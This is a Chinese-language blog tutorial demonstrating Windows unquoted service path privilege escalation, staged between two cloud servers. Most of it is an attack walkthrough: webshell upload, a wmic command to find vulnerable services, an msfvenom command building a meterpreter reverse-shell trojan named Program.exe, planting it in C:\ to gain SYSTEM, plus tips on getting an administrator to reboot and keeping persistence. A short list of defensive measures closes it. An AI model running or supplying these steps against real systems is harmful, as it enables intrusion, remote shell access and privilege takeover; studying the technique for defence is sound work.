一、介紹
1.漏洞簡介:
當創建可執行路徑包含空格且未包含在引號內的服務時,會導致稱為未參考服務路徑的漏洞,該漏洞允許用戶獲得SYSTEM權限(當易受攻擊的服務以 SYSTEM 權限運行時),
2.漏洞原理:
在 Windows 中,如果服務沒有用引號括起來并且有空格,它會將空格作為中斷處理,并將服務路徑的其余部分作為引數傳遞,
二、演示
環境準備:
靶機:騰訊云服務器 裝有phpstudy環境的Windows server 2012 IP地址:49.xxx.xxx.xxx
攻擊機:阿里云服務器 裝有msf的ubuntu系統 IP地址:101.xxx.xxx.xxx
1.上傳webshell后,打開網站

2.輸入命令查看呼叫執行程式時不帶引號的程式,從中挑選出帶空格的
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
選擇該程式檔案

3.msf生成名為Program.exe的木馬,并開啟監聽
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP地址 LPORT=4444 -f exe > Program.exe

為什么要命名為Program.exe?
如果路徑包含空格并且沒有用引號引起來,Windows API 必須假定在哪里可以找到參考的應用程式,服務會按照以下順序依次執行
C:\Program.exe
C:\Program Files\qcloud\tat_agent\tat_agent.exe
所以將木馬命名為Program.exe,并將其放在C盤根目錄,會使其優先執行
4.利用webshell將該木馬上傳至靶機c盤根目錄

5.在靶機啟動該服務,攻擊機收到反彈shell
我們通過webshell是無法啟動服務的,實戰中可以使管理員重啟服務器,服務就能被開啟了,
這里我們模擬管理員啟動該服務

6.查看權限,成功提權

靶機啟動服務后,只能連接一小段時間,實戰中做好權限維持即可
三、防御措施
1.確保路徑中包含空格的任何服務都將路徑括在引號中,
2.通過設定非特定于用戶或特權賬戶的目錄和檔案權限來限制訪問,
3.通過應用程式控制或腳本來阻止系統上的代碼執行,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499353.html
標籤:其他
